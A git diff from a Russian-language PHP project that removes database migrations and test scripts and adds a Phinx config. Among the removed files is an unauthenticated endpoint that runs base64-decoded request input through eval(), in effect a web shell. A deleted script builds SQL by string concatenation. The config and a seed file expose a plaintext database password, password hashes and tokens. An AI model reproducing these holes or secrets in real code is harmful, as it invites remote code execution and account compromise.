DEFAULT 'N', - `execution_time` varchar(255) DEFAULT NULL, - `attempts` int(11) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL, - `class` varchar(255) DEFAULT NULL, - `method` varchar(255) DEFAULT NULL, - `params` text, - `status` varchar(255) DEFAULT NULL, - `response` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; -ALTER TABLE `threads` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `threads` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=17923; - - -CREATE TABLE `threads_history` ( - `id` int(11) NOT NULL, - `task_id` int(11) DEFAULT NULL, - `execution_time` varchar(255) DEFAULT NULL, - `attempts` int(11) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL, - `class` varchar(255) DEFAULT NULL, - `method` varchar(255) DEFAULT NULL, - `params` text, - `status` varchar(255) DEFAULT NULL, - `response` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; -ALTER TABLE `threads_history` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `threads_history` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7946; - - -CREATE TABLE `files` ( - `id` int(11) NOT NULL, - `name` varchar(255) DEFAULT NULL, - `path` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; -ALTER TABLE `files` ADD PRIMARY KEY (`id`); -ALTER TABLE `files` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=23; - -COMMIT; - - - diff --git a/core/migrations/000002_users.sql b/core/migrations/000002_users.sql deleted file mode 100644 index 56f8b71..0000000 --- a/core/migrations/000002_users.sql +++ /dev/null @@ -1,29 +0,0 @@ -CREATE TABLE if not exists `d_users` -( - `id` int(11) NOT NULL, - `login` varchar(100) NOT NULL, - `password` varchar(100) NOT NULL, - `name` varchar(150) NOT NULL, - `email` text, - `image_id` int(11) DEFAULT NULL, - `token` text, - `last_active` varchar(100) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL -) ENGINE = innodb - DEFAULT CHARSET = utf8; - -INSERT INTO `d_users` (`id`, `login`, `password`, `name`, `email`, `image_id`, `token`, `last_active`, `date_created`, `date_updated`) -VALUES (1, 'admin', '7c607172d24d7237579acfdeffe373e2', 'Роман Гринько', 'rsgrinko@yandex.ru', 18, 'RG1819-1000-77EB-8F7A-9B112FB69D3A0', - '1657051585', '2022-06-17 16:18:56', NULL), - (2, 'demo', '7c607172d24d7237579acfdeffe373e2', 'Demo user', 'demo@it-stories.ru', 20, - 'RG17DE-1000-26FC-837F-8F9C47E643970', '1655471459', '2022-06-17 16:18:56', NULL), - (3, 'system', '', 'Система', 'info@it-stories.ru', NULL, 'RG17DE-1000-2702-816F-97E3877DD6650', '1651673702', '2022-06-17 16:18:56', NULL); - -ALTER TABLE `d_users` - ADD PRIMARY KEY (`id`); - -ALTER TABLE `d_users` - MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, - AUTO_INCREMENT = 25; -COMMIT; \ No newline at end of file diff --git a/core/migrations/000003_roles.sql b/core/migrations/000003_roles.sql deleted file mode 100644 index 66f5755..0000000 --- a/core/migrations/000003_roles.sql +++ /dev/null @@ -1,12 +0,0 @@ -CREATE TABLE if not exists `d_roles` ( - `id` int(11) NOT NULL, - `name` text, - `description` text -) ENGINE=innodb DEFAULT CHARSET=utf8; - - -INSERT INTO `d_roles` (`id`, `name`, `description`) VALUES - (1, 'Админисистратор', 'Группа, имеющая доступ ко всему'), - (2, 'Пользователи', 'Базовая группа для простых пользователей'), - -ALTER TABLE `d_roles` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); \ No newline at end of file diff --git a/core/migrations/000004_user_roles.sql b/core/migrations/000004_user_roles.sql deleted file mode 100644 index 52ab864..0000000 --- a/core/migrations/000004_user_roles.sql +++ /dev/null @@ -1,9 +0,0 @@ -CREATE TABLE if not exists `d_user_roles` ( - `id` int(11) NOT NULL, - `user_id` int(11) NOT NULL, - `role_id` int(11) NOT NULL -) ENGINE=innodb DEFAULT CHARSET=utf8; - -INSERT INTO `d_user_roles` (`id`, `user_id`, `role_id`) VALUES (1, 1, 1), -ALTER TABLE `d_user_roles` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `d_user_roles` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; \ No newline at end of file diff --git a/core/migrations/000005_files.sql b/core/migrations/000005_files.sql deleted file mode 100644 index 5886717..0000000 --- a/core/migrations/000005_files.sql +++ /dev/null @@ -1,7 +0,0 @@ -CREATE TABLE if not exists `d_files` ( - `id` int(11) NOT NULL, - `name` varchar(255) DEFAULT NULL, - `path` text -) ENGINE=innodb DEFAULT CHARSET=utf8; -ALTER TABLE `d_files` ADD PRIMARY KEY (`id`); -ALTER TABLE `d_files` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=23; \ No newline at end of file diff --git a/core/migrations/000006_threads.sql b/core/migrations/000006_threads.sql deleted file mode 100644 index 26846cf..0000000 --- a/core/migrations/000006_threads.sql +++ /dev/null @@ -1,18 +0,0 @@ -CREATE TABLE `d_threads` ( - `id` int(11) NOT NULL, - `active` varchar(1) NOT NULL DEFAULT 'N', - `in_progress` varchar(1) NOT NULL DEFAULT 'N', - `priority` int(11) DEFAULT NULL, - `execution_time` varchar(255) DEFAULT NULL, - `attempts` int(11) NOT NULL, - `attempts_limit` int(11) DEFAULT '1', - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL, - `class` varchar(255) DEFAULT NULL, - `method` varchar(255) DEFAULT NULL, - `params` text, - `status` varchar(255) DEFAULT NULL, - `response` text -) ENGINE=innodb DEFAULT CHARSET=utf8; -ALTER TABLE `d_threads` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `d_threads` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=78989; \ No newline at end of file diff --git a/core/migrations/000007_threads_history.sql b/core/migrations/000007_threads_history.sql deleted file mode 100644 index 7c44620..0000000 --- a/core/migrations/000007_threads_history.sql +++ /dev/null @@ -1,15 +0,0 @@ -CREATE TABLE if not exists `d_threads_history` ( - `id` int(11) NOT NULL, - `task_id` int(11) DEFAULT NULL, - `execution_time` varchar(255) DEFAULT NULL, - `attempts` int(11) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL, - `class` varchar(255) DEFAULT NULL, - `method` varchar(255) DEFAULT NULL, - `params` text, - `status` varchar(255) DEFAULT NULL, - `response` text -) ENGINE=innodb DEFAULT CHARSET=utf8; -ALTER TABLE `d_threads_history` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `d_threads_history` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7946; \ No newline at end of file diff --git a/phinx.php b/phinx.php new file mode 100644 index 0000000..cc96686 --- /dev/null +++ b/phinx.php @@ -0,0 +1,32 @@ + [ + 'migrations' => '%%PHINX_CONFIG_DIR%%/db/migrations', + 'seeds' => '%%PHINX_CONFIG_DIR%%/db/seeds' + ], + 'environments' => [ + 'default_migration_table' => 'd_phinxlog', + 'default_environment' => 'dev', + 'prod' => [ + 'adapter' => 'mysql', + 'host' => 'localhost', + 'name' => 'rsgrinko_delta', + 'user' => 'rsgrinko_delta', + 'pass' => '2670135', + 'port' => '3306', + 'charset' => 'utf8', + ], + 'dev' => [ + 'adapter' => 'mysql', + 'host' => 'it-stories.ru', + 'name' => 'rsgrinko_test', + 'user' => 'rsgrinko_test', + 'pass' => '2670135', + 'port' => '3306', + 'charset' => 'utf8', + ] + ], + 'version_order' => 'creation' +]; diff --git a/test.php b/test.php deleted file mode 100644 index a113bf4..0000000 --- a/test.php +++ /dev/null @@ -1,117 +0,0 @@ - - * Permission is hereby granted, free of charge, to any person obtaining - * a copy of this software and associated documentation files (the - * "Software"), to deal in the Software without restriction, including - * without limitation the rights to use, copy, modify, merge, publish, - * distribute, sublicense, and/or sell copies of the Software, and to - * permit persons to whom the Software is furnished to do so, subject to - * the following conditions: - * The above copyright notice and this permission notice shall be included - * in all copies or substantial portions of the Software. - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, - * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF - * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. - * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY - * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, - * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE - * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - */ - - //$_SERVER['DOCUMENT_ROOT'] = '/home/rsgrinko/sites/dev.it-stories.ru'; - //require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php'; - - class HostFunctions - { - public static $cmd = 'default'; - - public static function toOut($data, $status = 'success') - { - $result = [ - 'status' => $status, - 'cmd' => self::$cmd, - 'time' => time(), - 'data' => $data, - ]; - header('Content-Type: application/json; charset=utf-8'); - echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); - } - - public static function getHostInfo() - { - $result = []; - $output = []; - exec('free -h', $output, $code); - $result['memory'] = implode(PHP_EOL, $output); - - $output = []; - exec('cat /proc/cpuinfo', $output, $code); - $result['cpuinfo'] = implode(PHP_EOL, $output); - - $output = []; - exec('uname -a', $output, $code); - $result['uname'] = implode(PHP_EOL, $output); - - $output = []; - exec('hostname', $output, $code); - $result['hostname'] = implode(PHP_EOL, $output); - - $output = []; - exec('uptime', $output, $code); - $result['uptime'] = implode(PHP_EOL, $output); - - $result['ip'] = $_SERVER['SERVER_ADDR']; - - return $result; - } - } - - - $commandList = [ - 'ping', - 'getHostInfo', - 'getHostIp', - 'eval', - ]; - $command = $_REQUEST['cmd'] ?? 'default'; - HostFunctions::$cmd = $command; - switch ($command) { - case 'getCommands': - HostFunctions::toOut($commandList); - break; - case 'ping': - HostFunctions::toOut('pong'); - break; - case 'getHostInfo': - $result = HostFunctions::getHostInfo(); - HostFunctions::toOut($result); - break; - - case 'getHostIp': - HostFunctions::toOut($_SERVER['SERVER_ADDR']); - break; - - case 'eval': - $evalString = isset($_REQUEST['evalString']) ? base64_decode($_REQUEST['evalString']) : null; - if ($evalString === null) { - HostFunctions::toOut('No eval string', 'error'); - } else { - ob_start(); - try { - eval($evalString); - $result = ob_get_clean(); - } catch (Throwable $t) { - $result = 'Error on line ' . $t->getLine() . ': ' . $t->getMessage(); - ob_clean(); - } - HostFunctions::toOut($result); - } - break; - - default: - HostFunctions::toOut('Command not found', 'error'); - break; - } - diff --git a/test2.php b/test2.php deleted file mode 100644 index bd28904..0000000 --- a/test2.php +++ /dev/null @@ -1,34 +0,0 @@ -setChat(TELEGRAM_NOTIFICATION_CHANNEL)->sendPhoto( - $uploadfile, - 'Дата: ' . date('Y-m-d H_i:s') . PHP_EOL . 'Имя устройства: ' . $deviceId . PHP_EOL . 'Буфер: ' . $clipboard - ); - @unlink($uploadfile); - echo 'ok'; - - //sendTelegram($_REQUEST['Clipboard']); \ No newline at end of file diff --git a/test3.php b/test3.php deleted file mode 100644 index 012dee4..0000000 --- a/test3.php +++ /dev/null @@ -1,255 +0,0 @@ -", - "\\1", - "\\1", - "\\1", - "\\1", - "
Цитата
\\1
", - "\\2", - "\\1", - "Изображение", - "\\2", - "\\2", - "
    \\1
", - "
    \\1
", - "
  • \\1
  • " - ); - return preg_replace($str_search, $str_replace, $text_post); - } - - - - $connections = []; // сюда будем складывать все подключения - - // Стартуем WebSocket-сервер на порту 27800 - $worker = new Worker('websocket://0.0.0.0:8282'); - - $worker->onWorkerStart = function($worker) use (&$connections) - { - $interval = 5; // пингуем каждые 5 секунд - - - Timer::add($interval, function() use(&$connections) { - foreach ($connections as $c) { - // Если ответ от клиента не пришел 3 раза, то удаляем соединение из списка - // и оповещаем всех участников об "отвалившемся" пользователе - if ($c->pingWithoutResponseCount >= 3) { - $messageData = [ - 'action' => 'ConnectionLost', - 'userId' => $c->id, - 'userName' => $c->userName, - 'gender' => $c->gender, - 'userColor' => $c->userColor - ]; - $message = json_encode($messageData); - - unset($connections[$c->id]); - $c->destroy(); // уничтожаем соединение - - // рассылаем оповещение - foreach ($connections as $c) { - $c->send($message); - } - } else { - $c->send('{"action":"Ping"}'); - $c->pingWithoutResponseCount++; // увеличиваем счетчик пингов - } - } - }); - - - Timer::add(10, function () use (&$connections) { - $infoMessages = [ - 'Случайное число: ' . random_int(1000, 9999). '', - 'Чат разработан командой it-stories.ru - проекта о веб разработке и программировании', - 'Это информационное сообщение для проверки работы чата', - 'Нужен сайт? Студия SoftLine71 поможет вам!', - ]; - $randomKey = random_int(0, count($infoMessages) - 1); - $randMessage = $infoMessages[$randomKey]; - - foreach ($connections as $c) { - $c->send('{"action":"Information", "text": "' . $randMessage . '"}'); - $c->pingWithoutResponseCount++; // увеличиваем счетчик пингов - } - }); - }; - - $worker->onConnect = function($connection) use(&$connections) - { - // Эта функция выполняется при подключении пользователя к WebSocket-серверу - $connection->onWebSocketConnect = function($connection) use (&$connections) - { - // Достаём имя пользователя, если оно было указано - if (isset($_GET['userName'])) { - $originalUserName = preg_replace('/[^a-zA-Zа-яА-ЯёЁ0-9\-\_ ]/u', '', trim($_GET['userName'])); - } - else { - $originalUserName = 'Инкогнито'; - } - - - // Добавляем соединение в список - // + мы можем добавлять произвольные поля в $connection - // и затем читать их из любой функции: - $connection->userName = $originalUserName; - $connection->pingWithoutResponseCount = 0; // счетчик безответных пингов - - $connections[$connection->id] = $connection; - - // Собираем список всех пользователей - $users = []; - foreach ($connections as $c) { - // TcpConnection::id - уникальный идентификатор соединения, - // присваивается автоматически. Будем использовать его как - // идентификатор пользователя 'userId'. - $users[] = [ - 'userId' => $c->id, - 'userName' => $c->userName, - ]; - } - - // Отправляем пользователю данные авторизации - $messageData = [ - 'action' => 'Authorized', - 'userId' => $connection->id, - 'userName' => $connection->userName, - 'users' => $users - ]; - //$connection->send(json_encode($messageData)); - foreach ($connections as $c) { - $c->send(json_encode($messageData)); - } - - // Оповещаем всех пользователей о новом участнике в чате - $messageData = [ - 'action' => 'Connected', - 'userId' => $connection->id, - 'userName' => $connection->userName, - 'gender' => $connection->gender, - 'userColor' => $connection->userColor - ]; - $message = json_encode($messageData); - - foreach ($connections as $c) { - $c->send($message); - } - }; - }; - - - $worker->onClose = function($connection) use(&$connections) - { - // Эта функция выполняется при закрытии соединения - if (!isset($connections[$connection->id])) { - return; - } - - // Удаляем соединение из списка - unset($connections[$connection->id]); - - // Собираем список всех пользователей - $users = []; - foreach ($connections as $c) { - // TcpConnection::id - уникальный идентификатор соединения, - // присваивается автоматически. Будем использовать его как - // идентификатор пользователя 'userId'. - $users[] = [ - 'userId' => $c->id, - 'userName' => $c->userName, - ]; - } - - // Оповещаем всех пользователей о выходе участника из чата - $messageData = [ - 'action' => 'Disconnected', - 'userId' => $connection->id, - 'userName' => $connection->userName, - 'users' => $users, - ]; - $message = json_encode($messageData); - - foreach ($connections as $c) { - $c->send($message); - } - }; - - - $worker->onMessage = function($connection, $message) use (&$connections) - { - // распаковываем json - $messageData = json_decode($message, true); - // проверяем наличие ключа 'toUserId', который используется для отправки приватных сообщений - $toUserId = isset($messageData['toUserId']) ? (int) $messageData['toUserId'] : 0; - $action = isset($messageData['action']) ? $messageData['action'] : ''; - - if ($action == 'Pong') { - // При получении сообщения "Pong", обнуляем счетчик пингов - $connection->pingWithoutResponseCount = 0; - } else { - // Все остальные сообщения дополняем данными об отправителе - $messageData['userId'] = $connection->id; - $messageData['userName'] = $connection->userName; - - // Преобразуем специальные символы в HTML-сущности в тексте сообщения - $messageData['text'] = htmlspecialchars($messageData['text']); - // Заменяем текст заключенный в фигурные скобки на жирный - // (позже будет описано зачем и почему) - //$messageData['text'] = preg_replace('/\{(.*)\}/u', '\\1', $messageData['text']); - $messageData['text'] = replaceBBCode($messageData['text']); - - - if ($toUserId == 0) { - // Отправляем сообщение всем пользователям - $messageData['action'] = 'PublicMessage'; - foreach ($connections as $c) { - $c->send(json_encode($messageData)); - } - } - else { - $messageData['action'] = 'PrivateMessage'; - if (isset($connections[$toUserId])) { - // Отправляем приватное сообщение указанному пользователю - $connections[$toUserId]->send(json_encode($messageData)); - // и отправителю - $connections->send(json_encode($messageData)); - } - else { - $messageData['text'] = 'Не удалось отправить сообщение выбранному пользователю'; - $connection->send(json_encode($messageData)); - } - } - } - }; - - - Worker::runAll(); \ No newline at end of file diff --git a/test4.php b/test4.php deleted file mode 100644 index 2541274..0000000 --- a/test4.php +++ /dev/null @@ -1,20 +0,0 @@ -query('SELECT * FROM `visits` WHERE `page_id` = ' . $post_id . ' AND `date` = CURDATE()'); - - if ($res === null) { - echo 'insert'; - $res = $DB->query('INSERT INTO `visits` SET `page_id` = ' . $post_id . ', `counter` = 1, `date` = CURDATE()'); - } else { - echo 'update'; - $res = $DB->query('UPDATE `visits` SET `counter` = `counter` + 1 WHERE `id` = ' . $res[0]['id']); - } \ No newline at end of file diff --git a/test5.php b/test5.php deleted file mode 100644 index b06b399..0000000 --- a/test5.php +++ /dev/null @@ -1,8 +0,0 @@ -